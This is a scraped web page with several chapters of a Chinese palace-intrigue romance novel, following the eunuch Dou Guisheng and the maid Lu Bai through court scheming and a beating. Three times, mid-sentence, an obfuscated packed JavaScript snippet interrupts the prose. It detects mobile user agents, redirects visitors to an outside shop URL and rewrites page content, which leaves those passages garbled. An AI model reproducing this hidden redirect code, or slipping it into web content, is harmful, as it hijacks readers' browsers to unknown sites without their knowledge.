两人霎时屏气凝神,不敢再轻举妄动。白生生的耳朵离他不过几指的距离,窦贵生的视线落在她耳边垂落的一丝碎发上,口齿清晰,语调缠绵,幽幽吐出两个字:“蠢货。” 鹿白使劲瞪他,似乎有千言万语蕴含在这用力的一眼中。脸一转过来,两人就变成面对面的姿势,连对方呼出气流的味道都闻得一清二楚。 窦贵生嫌恶地皱了眉。这丫头嘴里酸唧唧的味儿,不定吃了多少梅子糖,瞅瞅这没见过世面的样! “先生,能不能不交作业啊?”鹿白没感受到窦贵生的不自在,她一心只想着此行的重要目的,“说实话,若我是桓公,我就不生儿子了,这不自找罪受吗!” 傻气是会传染的,窦贵生觉得自己也变傻了。即便直接站出去,江如也不能将他如何,何苦跟这儿浪费口舌呢? 他不知道的是,方才跟他幽会的谢嫔已经叫人堵住盘问,若真站出去,今日的事死活也说不清了。阴差阳错,鹿白还真顺手救了他一回。 他盯着鹿白的下巴,冷嗤了一声:“没门。” “行行好吧。”鹿白想扒他的袖子,但一想到这地方刚被人摸过,就一阵犯恶心,转而扯了扯他的领口。 搁到上辈子,这动作跟扯人领带没什么区别,着实挑逗、暧昧、引人遐想。可惜鹿白并没有自知之明,敢在课上说“被翻红浪”的人,一时真叫人看不透她到底是懂还是不懂。 窦贵生心跳都吓停了,一把打开她的爪子:“做什么!” 鹿白急得不行:“你也知道我蠢,我真不会啊!求求先生,放我一马吧,改别的题行吗?” 窦贵生第一次领教到鹿白的倔劲儿,生怕她再次犯傻,不耐烦地转过头:“爱写不写,又不是给我学的……” 况且都什么时候了,还有心思掰扯这等破事儿呢! “多谢先生!”这就算是成功了。 难题要一个一个解决,先搞定作业,才能安心攻克眼前的窘境。鹿白自觉自己思路清晰,反应敏捷,事情解决得近乎完美。 眼瞅着火光越来越近,脚步声已经到了耳边,窦贵生被意外打断的理智终于恢复了正常。于是,众目睽睽之下,一片灯火之中,树丛组成的绿墙狠狠抖动两下,一个人影破墙而出,顶着尘土钻了出来。 “窦、窦公公?”江如惊讶得过于夸张,生怕别人不知道似的大声惊呼。 窦贵生“嗯”了一声,一阵心烦意乱。今天的事儿若说是巧合,傻子都不信,江如这草包,别的不行,捉奸倒是颇为在行。 江如一见窦贵生这睥睨众生、无所畏惧的样子就恼火,当即阴阳怪气道:“深更半夜的,窦公公怎么有这等闲情逸致?这是在……散步?” 窦贵生从容不迫地掸着袖子,整理衣襟,施施然道:“与你何干?” 江如拉着唱戏似的调子,一句三顿,一字三转:“窦公公即便对我不满,也不得无视宫规。亥时之后无故不得外出,这还是你自己定下的呢!” 窦贵生懒得跟他废话,抬脚便走:“江公公继续,我还忙着呢。” 江如知道窦贵生是回去批奏折,当即更气愤了。他是登上了司礼监掌印的宝座,在前朝后宫都可谓风头无二。可圣上却并不信他,甚至就此恨上他了,奏折都是等窦贵生批完才扔给他,待遇甚至还不比从前。 “站住!”江如大怒,一挥手,众人便拦住了窦贵生的去路。 “既然窦公公忙,我便不跟你兜圈子了。”他虽然个子矮,但仗着年纪大、资历老,颇为盛气凌人地挡在窦贵生面前,“我听人说,云栖宫有人私会情人,地点么,就在窦公公方才出来的树丛里。” 窦贵生:“是么?人呢?” 江如:“……” “窦贵生!”江如气极,“别跟我装傻。夜会后妃,祸乱宫闱的罪名,你可比我清楚!” “江公公慎言,帽子可不能乱扣。”窦贵生倒不怕。他跟谢嫔八百年都见不了一回,每次都小心行事,谨慎打点。他这儿闹成哪样都能糊弄过去,只要谢嫔别出岔子就好。 在窦贵生的想象中,听了这话江如该是气急败坏,再不济也是威逼利诱,原地跳脚。但对方却异乎寻常地冷静,有样学样地背着手跟他默默对峙,似乎在等什么人。 窦贵生眉头一跳,心道不妙。果然,他最担心的事情还是发生了。 一队禁军远远地停在路口,夜巡的侍卫腰挎长刀,步履匆匆赶了过来。 “二位公公。”他冲两人拱了拱手,瞥向窦贵生的眼神带了几许失望,“我等听闻内宫失窃,便匆忙赶来。” “贼人抓到了吗?” “江公公误会了,不是贼人,是云栖宫的谢嫔娘娘。” 江如双眼眯成一条缝,脸上的褶子全都挤到颧骨的位置,活像一颗剥了皮的核桃。 “这可不是误会……”他喃喃两句,冲侍卫道,“劳烦陈大人了,此处交给我吧。” “甚好。”侍卫又拱了拱手,大步离开。 谢嫔被抓的事实并没让窦贵生有过激反应,他们又不是真的。但清者自清这种话他也说不出口,毕竟他对谢嫔的确另有目的。 几乎不用犹豫,他就能断定今晚这事跟德贵妃脱不了干系。看那陈侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“窦公公,”鹿白扯了扯挡在眼前的袖子,用气音小声问道,“我能说话了吗?” “叫你闭嘴,听不懂?”窦贵生并未压低声音,说罢还在她头上拍了一下。 这下,傻子都明白两人的关系了。 说不失望是假的,但也不算毫无收获,江如只得这么安慰自己。别看脸被蒙住了,但方才匆匆一瞥,他可将鹿白左颊那块红斑瞧得清清楚楚。啧啧,这窦贵生,还真够大胆的! 江如理所当然地将那蚊子咬的包认作窦贵生的吻痕,脸上的褶子顿时恢复如常,甚至比之前还耷拉了几分。私会后妃和私会宫女,显然不在一个级别之上。不能一次将其打落尘埃,以后便再难找到机会了。 浩浩荡荡的人群转眼消失得一干二净,江如一言不发,心中翻江倒海。腰牌是莫啼院的,这位神秘情人究竟是谁呢? 神秘情人依旧被蒙着脸:“先生,我现在能说话了吗?” 窦贵生被她气了个倒仰,使劲挥开袖子:“现在知道叫先生了!尊师重道都白学了?” 学也得跟好人学呀。鹿白心里嘀咕,嘴上却老老实实解释道:“尊师我学到了,这不出来解救先生了吗?” “还顶嘴!”窦贵生只恨自己没带戒尺,真想在她脑袋上、嘴上、手心……总之浑身都打上一遍。但转念一想,又觉得自己实在可笑。 跟个傻子较什么劲呢?每日不把他气个七回八回的,还是她么? 眼前这个傻不拉几的死丫头,榆木脑袋,学习费劲,说话不着四六,见天儿跟他顶嘴。可也是这个死丫头,脸都不要了,站出来帮他解围。他认定她另有所图,怀疑她扮猪吃老虎,直至此时此刻,怀疑仍旧不减分毫。 但他没法不去想,如果她所说所做全部出于真心,那又该当如何? 不得不承认,鹿白空无一物的无辜大眼很具有欺骗性,每每看到那双眼,窦贵生都会产生一丝自我怀疑。这种怀疑如同瓷器上的裂隙,初时并不显眼,隐秘而迅速地悄然生长,待到恍然发觉时,那裂痕已经遍布周身,再想弥补已经来不及了。只能眼睁睁地看着它轰然碎裂,化为齑粉。 鹿白这一骗,便将自诩玩弄人心的老手骗了许多年。 从那天起,窦贵生再看鹿白就浑身别扭,连他自己都不清楚在别扭什么。苏福旁观多日,也只能是江如去皇帝面前告刁状这一原因了。 “圣上还是信您的,”苏福安慰道,“都是江如编的瞎话,干爹不必跟他一般见识。谒陵在即,圣上还指着您帮他分忧呢。” 窦贵生心说这可不是编瞎话,但他从来不屑于解释这种事,一旦开口,就有种欲盖弥彰、此地无银三百两的意味。可不开口又憋得难受。 思来想去,都怪那傻子。都怪她。 吴玉这步棋走得不错,窦贵生暗叹一声。差点就上当了。 他走一步想十步,一切尽在掌控,但最怕的就是有人不按套路来。前脚,有人参奏窦贵生跟莫啼院的宫女厮混,藐视法纪、枉顾宫规、为祸后宫;后脚,就有人悄悄前来举报,声称莫啼院的小宫女和太医署的一个贾姓跑腿太监勾搭上了。 窦贵生摸了摸发冠,仿佛那儿有一顶不存在的绿帽。 7. 第 7 章 谒陵,谒陵,谒陵。 这两个字如同陵墓中飘散多年的野鬼一般,整日笼罩在皇宫上头,不知何时,不知何地,总会在人毫无防备的时候钻出来,吓的鹿白浑身哆嗦。 听得多了,鹿白便知道谒陵快要来了。自然,她的死期也要到了。 上次夜访司礼监,听了这么一出惊天大戏,甚至自己还成了顶包的女主角,鹿白心中不可谓不恐惧。逃得了一时,逃不了一世,窦公公也好,吴玉也罢,总有一天会找上门来的。侥幸逃脱,只能算是运气。 此事鹿白没有与莫啼院的众人讲。并非是不信任他们,而是她由此联想到自己那虚无缥缈的身世,继而联想到吴玉救了她之后的反应。 他们刻意抹去了所有线索和痕迹,却又一件一件,逗鱼似的抛给她。她琢磨着这反应不单单是放长线钓大鱼,而是她的身份真的有些蹊跷,对方指望着能在某个特定的时刻突然揭露。 是以她没敢与外人提,只说不用写作业了,真开心。 谒陵一事原定于八月初一,先在宫门举行祭祀大典,而后由太子代行天子之职,前往京北的鸣山皇陵。名为视察工期进展,实则吃吃喝喝,游玩赏景,顺带表达一下对大小官员的深切慰问。 秋季是大周京城最好的季节,一年的活动都集中在那么几个月。谒陵完后是中秋,中秋完后是秋猎,秋猎完后是皇后千秋。行程排得极满。 皇帝不喜欢太子,也不喜欢皇陵建设方案,但对这等一辈子都没几次的事表现了空前的积极。天子本人不能出京,选哪个儿子代表他,就成了举足轻重的大事。 他曾无数次跟窦贵生透露:有什么办法能把太子支开吗?譬如太子妃家里有老人去世什么的,赶紧让太子前去吊唁。 窦贵生当真找了个法子,叫太子前去南方查税,一去就是十天,保准错过谒陵。 这下朝臣们不干了。太子不在是吧,那谒陵也别去了,咱们就耗着,看谁耗得过谁。礼部拒不合作,今儿个车坏,明儿个没马,后个又没衣服。这一拖,便生生拖到太子回京。 这下好了,新一轮又开始了。本轮拉锯战异常艰辛,激烈,且刺激。双方都是陈年旧怨,掀起伤疤带出血,打得这叫一个难看。 正方振振有词:长幼有别,怎可轻易动摇东宫地位?如此行为是置祖宗礼法于不顾,置天理人伦于不顾,置天下百姓于不顾,此举绝非明君! 反方有理有据:九皇子才是嫡子,你们既然承认霍皇后,为何不肯承认九皇子?朕也并非长子,你们是在否认朕的身份吗! 因此,贾公公便找上了鹿白。 当时鹿白尚不明白这两件事的因果关系,她只知道一件事:吴玉是九皇子的人。很显然,换太子是迟早的事。 贾京给鹿白带来了两样东西:一个荷包,一张被水洇过、字迹模糊的信笺。 鹿白:“哦,收到,谢谢。说正事吧。” 贾京:“……” 贾京没有告诉她,那晚莫啼院的女史本该一夜未归,失去下落,两三个月后被人从河里或是井里捞出来,尸首已是面目全非。若不是窦贵生的突然闯入,暗处的人本有机会得手,而上头也不会突然改了主意,决定留下她。 “后日便是祭祀大典。”贾京悄声道,“十六殿下身子骨弱,不能久站,但祭祀大典不到场定然不行。大人已上奏折,说起十六殿下病症一事,圣上答应了,允了十六殿下在左廊内侧观礼。” 不是吴玉上奏,估计皇帝都想不起还有这么个儿子。鹿白啧啧两声,了然道:“那么,左廊内坐的是——” “太子殿下。” “明白。” 自鹿白进宫以来,贾京便只是传些简短的口信或是字条,鲜少有需要跟她当面讨论的时候。两人嘀嘀咕咕时,鹿白一直觉得后背发凉。她的直觉一向很准,转身看了两次都没发现异常,第三次时,她抬手示意贾京停下,小心翼翼地回了头。 仿佛心有灵犀似的,树后乳燕似的绯色衣袍扑腾两下,伸出了翅膀,露出偷窥者亭亭玉立、厚颜无耻的完整身形。 完了,死期来了。 窦贵生没有说话,他满脑子都是两颗快要贴在一起的脑袋,一对极为亲昵的身影,一个行迹猥琐的老太监,以及一个大胆奔放、水性杨花的女人。 看了半晌,两个人的形象渐渐变了,四周的天也暗了,眼前是昏黑的树丛,里面蹲着一大一小两团人。他仿佛抽离了感官和知觉,站在一个全然陌生的角度审视那晚的自己。 他看见鹿白得寸进尺、步步紧逼,他看见自己恼羞成怒,咬牙切齿。还有,他脸红了。 “贾京。”窦贵生忽的开口。 贾京还没转身就跪下了,愣是用膝盖在地上划出一个圈:“窦、窦公公……” 鹿白也毫不犹豫地跟着跪下:“先生。” “先生”两个字支支吾吾,含混不清,像是被踩了尾巴的小狗发出的哀嚎。这称呼鹿白叫过许多回,没有一次像现在这样,让他又憋屈又烦闷,有气撒不出来,浑身难受得紧。后来他知道,这种感觉原来叫作心软。 果真人一老,毛病就多了,窦贵生心道。该找个太医看看了。 思及太医,猛然想起眼前跪着这个就是太医署的人。两人跪在一起,战战兢兢地缩成一团,刺眼得明目张胆。窦贵生缠绕的睫毛敛下那阵莫名其妙的情绪,用一贯的语气道:“走吧。” 说罢,也不管他们听没听见,听没听懂,转身便走。 贾京冷汗连连,抖若筛糠:“是、是,窦公公。” 鹿白一脸茫然:“啊?” 贾京爬起来,走了两步才发现人没跟上,赶紧扯了她一下:“走了。” “去哪儿啊?” “典刑司。” “……” 咔嚓,鹿白冷静的面具裂开了。 接头内容肯定不能叫窦贵生知道,为了保护上峰,下线毅然决然做出了牺牲自己的决定。跪在典刑司堂前之时,两人已经用手语加眼神达成了一系列共识:情人幽会而已,绝不是传递情报,他们是清白的! 反正因为窦贵生自己那点香艳绯闻,现在宫里又活泛起来了,他们这还不算过分的呢。 窦贵生没有刻意观察,但余光瞟到两人整齐地跪在一处,连表情都所差无几时,他倏地改了主意。 距离信誓旦旦说出“小豆子不是那样的人”才过了几天呐,转眼就跟这人好上了?不就是苦命鸳鸯吗,他见着一对儿拆散一对儿! “贾京,你走吧。”窦贵生施施然坐下,两腿微分,衣袍抖搂一声,在腿上平整地摊开。跟那天打鹿白屁股的情景一模一样。 “贾公公……”鹿白眼含热泪,求助地望着贾京。 “小白你、你自求多福吧。”贾京长叹一声,狠心推开她,逃也似的跑了。 “嗤。”窦贵生忍不住冷言相讥,“你就喜欢这样的?” 鹿白沉浸在被阶级战友抛弃的悲伤和很可能再被扒裤子的愤恨中,压根不想回答。窦贵生来了劲儿,腾地一下站起身:“问你话呢,哑巴了?” “若说喜欢,也谈不上。” “不喜欢巴巴地扯人家衣袖?” “……那是我怕贾公公耳背,听不清。” 窦贵生却不信:“出了事第一个扔下你跑了……啧,陆白,你可真出息,喜欢的尽是这等男人!” 他不加“等”字还好,一说到这等男人,鹿白一下就想到了小豆子。青春萌动的情愫还没变为实质,就如同泡沫一般幻灭了,她的头顿时耷拉了下去,说话也有气无力:“先生,似我们这等下人,怎么闹都没事,我本就没奢求什么。但先生就不同了。谢嫔娘娘有了身孕,德贵妃也知道了,你们还是小心些为妙。平平安安过了这几个月,再相聚也不迟。” 这话说得有几分真心。她后来仔细想过,教书育人是一回事,宫规是一回事,可爱情来了挡也挡不住,谁说太监和后妃间就没有真爱呢!十六殿下从没责怪过身为侍妾预备役的她,还帮她想办法挽回小豆子,她不该如此狭隘。 可是,他们有真爱,她就不配么? 窦贵生额头青筋暴跳。她听到了。她果然听到了。她不应该没听到。 这几天他叫人盯着鹿白,见她没跟人说,便以为她是忘了。结果不但记着,还想着以之来威胁他? 有那么一瞬间,窦贵生想过杀了鹿白。这丫头身上破绽太多,随便找个由头,就能让她竖着进来横着出去。 可这种念头如同惊鸟般略过,转瞬即逝,连一片羽毛都没落下,只余下一道记忆的残影,昭示着它曾到此一游。 “说的什么胡话!”窦贵生当即皱眉怒骂。 “人之将死,其言也善。”鹿白长叹一声,“这都是我的肺腑之言。” 人到了这个岁数,谁还没点人生体会呢! “哟,还想死?”窦贵生笑得和蔼可亲,“指望我成全你们,叫你博个贞洁烈女的名头?” 鹿白也来了气,慢慢吞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218243|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞,一字一顿道:“贾公公一把年纪了,当我爹还差不多。我不可能喜欢他那样的。绝不可能。” 言外之意在窦贵生太阳穴狠狠刺了一下。他不知道该如何反驳,顿了半晌,脚尖碰了碰鹿白:“你多大了?” 说完又觉得太突兀,立马补了一句:“还想到处认爹?” 冷嘲热讽得十分明显。 “应该是十八。”鹿白老老实实答道。吴相不至于连这都骗她。 窦贵生沉默了,一室寂静中,鹿白念念叨叨的声音没能逃过他的耳朵:“谁喜欢老太监,要喜欢也喜欢小豆子那样的啊……” 小豆子小豆子,小豆子是什么好玩意吗! 他的拳头陡然攥紧:“滚——” 爱情已然在他心中萌芽,披着一层名为嫉妒的外衣。 —— 体面。 窦贵生这辈子活的就是体面二字。因为入了宫,不如寻常男人体面,于是便更要活得体面。 爱情于他是最不体面的东西。是累赘,是负债,是满身枷锁,是痴人说梦。 苏福打听了一番,得知贾京跟皇后身边的大姑姑相好,死心塌地地为她办事,听凭九皇子差遣。大姑姑不止一个相好,从老到少,从外宫到内院。贾京不是不知道,可他仍旧跟条狗似的赖在她身边,只要她能看他一眼,对他笑一下,他就心满意足、肝脑涂地了。 窦贵生只觉得他蠢。陷入爱情的人都蠢。 吴玉和皇帝正在御书房争执不下,窦贵生坐在一旁,老老实实做着会议纪要。 丞相吴玉据理力争:“当初圣上说的是按王爷制,可礼册明显与东宫规格别无二致啊。” 皇帝翻着册子,头都没抬:“对啊,七叔也是王爷,按七叔的规格就行。”超一品王爷,比太子还要风光。 吴玉哑口无言,瞥了一眼老僧入定般的窦贵生,继续劝道:“圣上若执意如此,恐会引起朝臣不满。” “他们本就不满。”皇帝敷衍道,“不是定了太子前去吗?元启只是送到城门,再讲究这些繁文缛节就多此一举了吧?” 圣上,您知不知道这话可以原封不动地反弹回去? 吴玉暗自思忖片刻,忽的叹了口气:“老臣孤家寡人,妻女早逝,甚是羡慕圣上与皇后鹣鲽情深。” 皇帝动作顿住了,从奏折堆成的山中抬起头:“吴相想说什么?” 吴玉态度诚惶诚恐,说出来的话却很不中听:“娘娘千秋节将至,今年秋季谒陵、秋猎,加之北边战事又起,事务繁多。执意加上九殿下送行一步,非但礼部难以应付,其余诸事恐怕都将延后。若因此叫千秋节出了岔子,岂非得不偿失?” 团结的臣子们打算以消极怠工对抗上级领导的错误决定。这便是明晃晃的威胁了。 皇帝放下奏折,紧紧盯着吴玉。在场众人都知道他在生气,也很小心地不去触他的霉头,只静静等候。过了几分钟,皇帝平静地低下头,继续翻开方才的那页:“也罢,那就不叫元启去吧。” “圣上英明。”吴玉立刻磕头谢恩,诚惶诚恐地离开了。 如众人所料,皇帝心中最重要的永远都是皇后。今年是皇后第三个本命年,皇帝为此筹谋大半年了。谒陵是重要,儿子是闹得烦人,臣子们是欠收拾。可跟皇后的千秋寿诞相比,一切都得靠边站。 吴玉刚一走,霍皇后就来了。两人差着十几岁,却像少年少女似的,幼稚,热烈,永远充满新婚燕尔的激情。 窦贵生将皇后迎入御书房,便夹着纸笔退了出去,顺带把自己的案桌收拾干净。两人热血上头,说不定随手征用了他的案桌呢!这事儿以往不是没有过,他都总结出经验了。 以往他能将事情做得滴水不漏,因为他足够冷静。但今日出门时,竟失手把笔掉在地上,门推开一条缝,他才想起帝后在里头你侬我侬,只得赶紧关上,急匆匆跑了。 他这是怎么了?窦贵生问自己。 似乎一夕之间,所有人都深陷情网,以往那些看得懂的、受得了的东西,突然变得模糊不清,搅城一团乱麻。在他并未察觉的某处幻境中,他已经知晓了爱情。自那以后,一切都变了样。 在帝后缠绵的低语调笑声中,窦贵生终于想出了一个答案:他老了。 而关于搅乱一池春水的鹿白,他也已经做出了决断。 她是吴玉的人,是安插进宫中的探子,是无关紧要的宫女,是仇人,是祸水——他要杀了她。 机会很快便来了。 8. 第 8 章 祭祀大典那天,气温高得出奇。 天未亮时就开始张罗,就是为了赶太阳升起的吉时,也是为了抓紧那稍纵即逝的凉爽时光。饶是如是,等宫人们安排妥当,朝臣们站定,皇子王孙们各就各位,皇帝皇后出场时,太阳还是毒辣辣地升起来了。 鹿白现在是真心感谢贾公公的安排,顺带也感谢自己细作的身份。若是同其他人一样站在祭坛下,别说十六皇子这小身板了,就连她也觉得受不了。 厚重的宫装铁甲似的箍在身上,鼓声为钉,钟声为锤,一下一下砸在禁锢人的铁笼上,砸得人眼冒金星,大汗淋漓。还有点中暑之兆。 鹿白来时悄悄藏了两块沾湿的帕子,现在都快被捂干了。但有总比没有好,她微不可查地往前走了一步,从袖子底下悄悄递出一块帕子。十六皇子的手在椅旁垂了许久了,终于等到救援,他赶紧攥住,借着抬手擦汗的功夫,把混合着水锈和汗味的帕子贪婪地贴在脸上,权当心理安慰。 “呼——”他无声地舒了口气。 鹿白紧绷的表情也跟着放松下来。 十六皇子能坚持到现在实属不易,本来就不受宠,如果真晕了,皇帝一定会怪罪他延误了祭祀大典。儿子这东西,多一个不多,少一个不少,从皇帝执意要人来充脸面就能看出来,他对这个小儿子可没有一星半点的心疼。看看,都把孩子逼成什么样了! 两人的小动作并不明显,但还是被人发现了。 “噗。”身旁传来一声轻笑,鹿白一僵,赶紧站直身子装木头。但毫不收敛的目光却让她越来越不自在,越来越僵硬。若是脸皮有窦贵生一半厚,她也不至于连手脚怎么放都不知道了。 她想看看到底谁这么大胆。于是她便看了。 目光交汇的瞬间,她有片刻的呆滞。那位偷窥者却堂而皇之地笑了一下,低语道:“又见面了。” 鹿白猛地垂下头,嗫嚅道:“太子殿下……” 距离上次见到太子已经过了许多天。鹿白日日听宫人们说起太子,每听到一次,脑中便浮现出那日初见的情景。跟令人胆寒的窦公公相比,太子殿下简直堪称天人之姿,在世活佛,笑面观音。 但今日再见,鹿白恍然发觉,记忆欺骗了她。它在丑化窦贵生的同时,极大地美化了太子。身穿玄底金纹太子朝服的人脸上不再有和蔼可亲的笑,取而代之的是审视、玩味,还有一丝她看不懂的情绪。 看不懂,等于危险。 不知是害怕太子的锐利目光,还是害怕尽头站着的纠察御史,鹿白死死埋着头,一句话都不肯再说了。太子又笑起来,正要开口,祭坛之上传来一声悠长的唱喝:“拜——” 听音识人的功夫练得久了,她第一时间就能由语调高低、语速缓急、音色粗细分辨出说话者的身份。尤其是这声音还经常骂她,经常把她从噩梦里吓醒。 但此时此刻,这声音无异于天籁。鹿白的眼睛一下子亮了。 比起礼官姜辣李苦的怪调,这悠悠唱喝可谓是一剂清凉熨帖的泉水,霎时冲淡了炎炎烈日的苦楚。罚站许久的朝臣们终于有幸挪动膝盖,弯曲身子,借着跪拜的功夫活动活动手脚了。 后来的祭祀有很多,唱赞的礼官和内侍换了一批又一批,鹿白再也没听过如此动听的声音,再也没有一次祭祀如同这次一般,在她颤动脆弱的神经上温柔而持久地拨动。 赵芳姑扶着十六皇子跪下,鹿白几人紧随其后。待皇帝本人上完香,内侍太监窦贵生传出号令,众人再行起身。皇帝完后是皇后,皇后完后是太子,太子完后是众皇子,跪起来没完没了。 鹿白却暗自庆幸,估计这一番折腾下来,太子没心情再搭理她了。 然而事与愿违,太子不但有心情,还兴致颇高。 “十六弟近日身子好些了?”他叫住鹿白,没头没脑地问了一句。 鹿白硬着头皮如实作答:“回殿下,是好些了。” 太子笑着摇了摇头:“但今日这一闹,怕是又得休养好些时候了。” 吐槽祭祀大典的事鹿白不敢搭腔,只茫然无措地“啊”了一声,把傻子的角色演得淋漓尽致。太子似乎觉得她的样子很有趣,掏出袖中的扇子递了过去:“拿着。” 鹿白差点跳起来,刚想拒绝,便听太子吩咐道:“使点劲,可热坏了。” 鹿白:“……是,殿下。” 果然,没人会这么好心地送宫女扇子,太子也一样。于是她安心了,亦步亦趋地跟在太子身后,尽职尽责地为他打扇。 祭祀大典刚一结束,十六皇子就被太医们送回去了,赵芳姑也跟着。莫啼院余下几人没做安排,自行活动。 散班的人群乱乱哄哄,太子和小宫女这对组合算不上显眼。步行了片刻,太子便被中官李公公逮了个正着:“殿下,您怎么在这儿啊,圣上正找您呢!” “圣上说了什么事吗?” “没说,就叫您快些过去。” 太子沉吟片刻,冲鹿白抱歉一笑:“今日到此为止,我就不麻烦你了。” 鹿白如蒙大赦,立马将扇子双手呈上:“殿下言重了。” 保养得体的手指抽出扇子,在鹿白手心暧昧地轻敲一下,仿佛要在她身上留下点什么。太子笑了两声,匆匆离去。那笑声很淡,听着真诚又温柔,体贴又敷衍。 鹿白难得心潮澎湃。怪不得,怪不得吴大人选中了她,原来早就知道太子的口味! 太子妃据传样貌极美,端庄大气,宛如昭君在世。且东宫入了玉牒的只有正妃一人,其余不过是几名翻不起波浪的姬妾。啧啧,还以为夫妻俩感情多好呢! 太子夫妻的确感情很好,但一切都建立在太子妃的严防死守之上。譬如此时此刻,勾引人的小妖精刚刚与太子别过,便被监视已久的大力宫女逮了个正着。 鹿白身单力薄,膀大腰圆的宫女飞快堵住她的去路,将人拎到墙角,严严实实围了起来。 “你是哪宫哪院的?”为首的绿衣宫女厉声问道。 “莫啼院,六品女官,十六殿下的女史。”鹿白很真实地怂了,决心知无不言言无不尽。只要不挨揍,什么都好说。 绿衣宫女拧着眉想了想,仿佛才听说有十六殿下这号人。她眉头松了几分,脸上尽是轻蔑之色,一看就是做惯了这等事,已经得心应手、毫无畏惧了。 “我瞧瞧你是什么好容貌。”绿衣宫女一手掐起鹿白的下巴,拧着她的脸转来转去,量猪肉似的打量了一圈。 “可惜了……” 鹿白耳边响起一声惋惜的轻叹。她瞳孔颤了一下,下一刻,脸便被绿衣宫女陡然甩到一旁。 “给我打!” “哎,等——”等会儿,好歹给个理由吧! 鹿白被这等简单直接的暴行唬住了,直到头上的簪子被人扯落,她才后知后觉地想起逃跑。求生本能在这一刻骤然迸发,给了她前所未有的力量。 也是在这时,她才恍然意识到,那些空缺模糊的记忆,那些茫然无助的瞬间,那些黄昏时窗边处漏下的姜黄色的斜阳,那些被严苛的先生和沉闷的生活压抑的种种感情,并未如想象一般消失——她只是选择了忽略。 女官鹿白,不过等同于一条贱狗。 葱绿的衣裙在日光下翩飞,如同摇曳的树冠,又仿佛姿态优美的纸鸢。鹿白在身体的痛苦和冲撞之间模糊了双眼。但越是悲痛交加,她便越是冷静;越是歇斯底里,她便越是沉默。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218244|197454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一众宫女只见到她奋力躲避,双腿乱蹬,眼眶通红,满脸泪水之下是冷漠到麻木的表情。像极了一只濒死挣扎的兔子。 窦贵生见到的也是这幅景象。 在此之前,他设想过许多杀死鹿白的方法,用火的,用水的,明目张胆的,悄无声息的,当面的,远远看不见的。当然,少不了借刀杀人这一出。是以见到太子妃做手势的时候,他压根就没想过要阻止——纠察御史早就见到鹿白和太子拉拉扯扯,圣上浑不在意,他却留了个神。 不安的因素就此消失,他本该高兴。 但站在路口的那一刻,他心中竟然涌出一股难以言喻的痛快。 二十年了,终于,终于轮到他了。 “陆白。”那副刚刚为满朝文武唱过礼赞的嗓子,正用它特有的语调轻唤鹿白的名字。 阴沉,冷淡,缱绻,顿挫。 施暴者的动作戛然而止。绿衣宫女有些尴尬,不过并不发怵。她也在典刑司当差,在窦贵生睁一只眼闭一只眼的默许下,这种事已经做过好多回了,回回都能畅通无阻。 这回,窦贵生没有如她所愿地视而不见。 “这是犯了哪条规矩了?”窦贵生缓缓踱到凌乱的犯罪现场。 绿衣宫女搬出老一套说辞:“自然是她行为不端,举止放浪。” “哦。”窦贵生半垂着眸子,又用那种朦胧的、含蓄的、叫鹿白心悸的目光看着她,“怎么个不端法呢?” 绿衣宫女不知道窦贵生今日是怎么了,支吾着解释道:“她、她在大典上搔首弄姿,行迹可疑……御史也见到了!” “原来如此。”窦贵生鞋尖踩到半根碎裂的簪子,施施然退了半步。绿衣宫女以为他不过是随口一问,便松了口气,谁知窦贵生却冲鹿白一招手:“既然要罚,随我去典刑司吧。” 走了两步,他想起什么似的,回头冲那群宫女道:“怎么不打了?接着打呀。” 众人一愣。打谁? 窦贵生摇摇晃晃的视线与绿衣宫女对上:“不是喜欢打人吗?挑个地方吧,想在这儿打,还是去典刑司?” 绿衣宫女咬牙片刻,猛地垂下头,狠狠给了自己一巴掌。 窦贵生“啧”了一声。围观众人一下子惊醒,连忙扑了上去。自己打可比被窦公公打好多了,打人者和被打者都感激着呢。 轻飘飘一句,便为嚣张跋扈的宫女宣判了自食其果的命运。鹿白怔怔地望着他的背影,好半晌才手脚并用地爬起来,追了上去。 一前一后的身影走在白石宫道上,两人都缄默不语。鹿白将散乱的头发迅速挽在一起,摸了摸蹭破皮的膝盖,自觉抵抗及时、反击有效,只在腿上和胳膊上受了点轻伤。文学诞生于苦难,回去跟大家又有好一番故事可以讲了。 窦贵生的脚步顿了顿,余光瞥见鹿白一下子骄傲起来的神情,心中嗤笑一声:果真是个傻子,这还傻乐呢!他的思绪以鹿白为起始,顺着漫长的白石宫道,顺着被屋檐啃噬得参差不齐的天空,一直飘到了久远的过去。 若是当时有一只手拉住他,是否还会有今日的他? 这念头甫一出现,便被窦贵生抛诸脑后,不愿细想。他不是自怨自艾的人。他期盼着风风光光,期盼着仗势欺人,期盼着风光过后用死亡为自己的人生画上一个完整而圆满的句号——这都是小窦贵生经过半生时间沉淀后的愿望。 同样地,小窦贵生也无数次渴盼着有一只凭空出现的手。 现在,那只手拉住了他。 “先生。”手指委屈巴巴地抠住他的袖子,声音可怜又坚定,“我就一个请求,能不能……不打屁股啊?” 